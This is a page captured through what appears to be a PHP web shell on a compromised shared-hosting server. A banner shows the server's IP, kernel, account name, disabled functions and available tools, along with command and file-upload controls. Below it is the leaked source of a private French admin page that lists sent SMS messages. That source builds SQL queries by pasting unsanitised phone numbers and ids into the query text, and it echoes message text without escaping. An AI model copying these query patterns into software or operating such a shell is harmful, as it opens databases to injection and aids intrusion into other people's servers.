|
Server IP : 10.128.40.6 / Your IP : 216.73.216.233 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/logmcpe/www/TEST/../TMCPRO/pages/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// ini_set('display_errors','on');
// error_reporting(E_ALL);
require __DIR__ . '/vendor_sms_recu/autoload.php';
include 'includes_sms_recu/ovhhh.php';
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
// echo "modifeedddd <br/>" ;
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<!-- Enregistrer le titre de la page --><title> LogMCPRO | </title>
<!-- Tell the browser to be responsive to screen width -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<!-- Font Awesome -->
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- overlayScrollbars -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<link rel="stylesheet" href="../../plugins/fontawesome-free/css/all.min.css">
<!-- Ionicons -->
<link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
<!-- DataTables -->
<link rel="stylesheet" href="../../plugins/datatables-bs4/css/dataTables.bootstrap4.css">
<!-- Theme style -->
<link rel="stylesheet" href="../../dist/css/adminlte.min.css">
<!-- Google Font: Source Sans Pro -->
<link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
<style>
.myCollapse {
display: none;
}
.myCollapse.in {
display: block;
}
.modal-header {
padding: 15px;
border-bottom: 1px solid #e5e5e5;
}
.modal-header {
background: #226faa;
background: -webkit-gradient(linear,left top,right top,from(#226faa),color-stop(37%,#2989d8),to(#72c0d3));
background: linear-gradient(to right,#226faa 0,#2989d8 37%,#72c0d3 100%);
border-radius: 6px;
color: #fff;
padding: 18px;
border-bottom-left-radius: 0;
border-bottom-right-radius: 0;
border-color: transparent;
}
.modal-header .close {
margin-top: -3px;
font-size: 24px;
font-weight: 400;
color: #fff;
opacity: .9;
width: 28px;
height: 28px;
padding-bottom: 0;
padding-left: 1px;
}
button.close {
padding: 0;
cursor: pointer;
background: 0 0;
border: 0;
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
}
</style>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav> <!-- fin du TOP MENU -->
<!-- BARRE DE NAVIGATION -->
<!-- Couleur et caracteristiques de la barre de navigation-->
<?php include('menu.php'); ?>
<!-- Ne pas toucher au dessus / fin de la BARRE DE NAVIGATION-->
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" ></div>
</div>
</div>
</div>
<div class="content-wrapper">
<!-- TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
<section class="content-header">
<div class="container-fluid">
<div class="row">
<div class="col-sm-9">
</div>
<div class="col-sm-3">
<ol class="breadcrumb float-sm-right">
</ol>
</div>
</div>
</div><!-- /.container-fluid -->
</section>
<!-- FIN DU TITRE DE LA PAGE PRINCIPALE A PLACE ENTRE LES BALISES H1 & ARBORESCENCE SUR LA DROITE-->
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-12">
<div class="card">
<div class="card-header">
<div class="row">
<div class="col-sm-11"><h3 class="card-title"> <i class="nav-icon fas fa-id-card"></i> SMS envoyé </h3> </div>
<div class="col-sm-1"></div>
</div>
</div>
<!-- /.card-header -->
<div class="card-body">
<table id="" class="table table-bordered table-striped">
<thead>
<tr>
<!-- /.Table Client - Champs client_nom -->
<th>Client /<span style='color:blue'> salarié </span> </th> <!-- /.Table Client - Champs client_adr1 -->
<th>Message</th> <!-- /.Table Client - Champs client_cp -->
<th>Date</th> <!-- /.Table Client - Champs client_ville -->
<th>Heure</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
// $a = dbi_query("SELECT * FROM prospect ") ;
// $a= dbi_query("SELECT * FROM contacts_2") ;
// while( $contact = dbi_fetch_row($a))
// {
// $replaced = str_replace(' ', '',$contact['tel1']);
// $replaced = str_replace('.', '',$replaced);
// echo "===> ".$contact['tel1']."===>".$replaced."<br/>" ;
// }
foreach ($messagesDetails as $messagesDetail) {
$receiver = str_replace('+33', '0',$messagesDetail['receiver']);
// $receiver = $messagesDetail['receiver'];
// echo $receiver."<br/>" ;
// echo "<pre>" ;
// print_r($messagesDetails) ;
// echo "</pre>" ;
// exit() ;
list($id_sms_recu) = dbi_fetch_row(dbi_query(" SELECT id_sms_envoi FROM `sms_evoi` WHERE `id` = ".$messagesDetail['id'])) ;
// echo "====> $id_sms_recu <br/>" ;
if($id_sms_recu == "")
{
$date_only = date2int_DSI(substr($messagesDetail['creationDatetime'],0,10)) ;
// echo "==> $date_only <br/>" ;
// exit() ;
$heure_only=substr($messagesDetail['creationDatetime'],11,5) ;
$heure_forma = heure2int($heure_only) ;
// dbi_query("INSERT INTO `sms_evoi` (`id_sms_envoi`, `id`, `message`, `sender`, `date_recu`) VALUES ('4', '".$messagesDetail['id']."', '".addslashes($messagesDetail['message'])."', '".$messagesDetail['sender']."', '".$messagesDetail['creationDatetime']."')") ;
dbi_query("INSERT INTO `sms_evoi` (`id_sms_envoi`, `id`, `message`, `receiver`, `date_recu`, date_only ,heure_only,heure_forma) VALUES ('4', '".$messagesDetail['id']."', '".addslashes($messagesDetail['message'])."', '".$messagesDetail['receiver']."', '".$messagesDetail['creationDatetime']."', '".$date_only."', '".$heure_only."', '".$heure_forma."')") ;
}
}
$qu = dbi_query("SELECT * FROM `sms_evoi` ORDER BY date_only DESC, heure_forma DESC ") ;
while($messagesDetail=dbi_fetch_row($qu))
{
$receiver = str_replace('+33', '0',$messagesDetail['receiver']);
list($client_nom)= dbi_fetch_row(dbi_query("SELECT client_nom FROM contact con , client c where contact_tele1 = $receiver and c.client_id = con.client_id ")) ;
$temp= 0 ;
if(empty($client_nom))
{
list($salarie_nom ,$salarie_prenom )= dbi_fetch_row(dbi_query("SELECT salarie_nom,salarie_prenom FROM `salarie` WHERE `salarie_tele1` LIKE '$receiver'")) ;
if($salarie_nom!= "" OR $salarie_prenom!= "" )
{
$temp= 1 ;
}
// $client_nom = "<span style='color:blue'>".$salarie_nom." ".$salarie_prenom."</span>" ;
}
if(!empty($client_nom ))
{
$chain = $client_nom ;
}
else
{
$chain = $receiver ;
// echo "$receiver <br/>" ;
}
// echo "===> ".$temp."<br/>" ;
if($temp==1)
{
$chain = "<span style='color:blue'>".$salarie_nom." ".$salarie_prenom."</span>" ;
}
// if(empty($client_nom))
// {
// list($salarie_nom ,$salarie_prenom )= dbi_fetch_row(dbi_query("SELECT salarie_nom,salarie_prenom FROM `salarie` WHERE `salarie_tele1` LIKE '$receiver'")) ;
// echo "SELECT salarie_nom,salarie_prenom FROM `salarie` WHERE `salarie_tele1` LIKE '$receiver' <br/>" ;
// $client_nom = $salarie_nom." ".$salarie_prenom ;
// }
echo "
<tr>
<td>" . $chain . "</td>
<td>" . (strlen($messagesDetail['message']) < 3 ? $messagesDetail['message'] : ($messagesDetail['message']) ) . "</td>
<td>" . int2date($messagesDetail['date_only']). "</td>
<td>" . $messagesDetail['heure_only'] . "</td>
<td scope='row'><a class='btn btn-primary btn-small btn-danger' href='includes_sms_recu/deletion_envoi.php?id=" . $messagesDetail['id'] . "' onClick=\"javascript:return confirm('êtes-vous sûr de vouloir supprimer ce sms ?');\">Supprimer</a></td>
</tr>";
}
?>
</tbody>
</table>
</div>
<!-- /.card-body -->
</div>
<!-- /.card -->
</div>
<!-- /.col -->
</div>
<!-- /.row -->
</section>
<!-- /.content -->
</div>
<!-- NE PAS TOUCHER AU DESSUS DESSOUS -->
<!-- DEBUT DU PIED DE PAGE -->
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2019 MCPRO</strong>
</footer>
<!-- FIN DU PIED DE PAGE -->
<!-- NE PAS TOUCHER CI-DESSOUS -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'repondre_sms.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
<script>
$(function () {
$("#example1").DataTable();
$('#example2').DataTable({
"paging": true,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
});
});
</script>
</body>
</html>
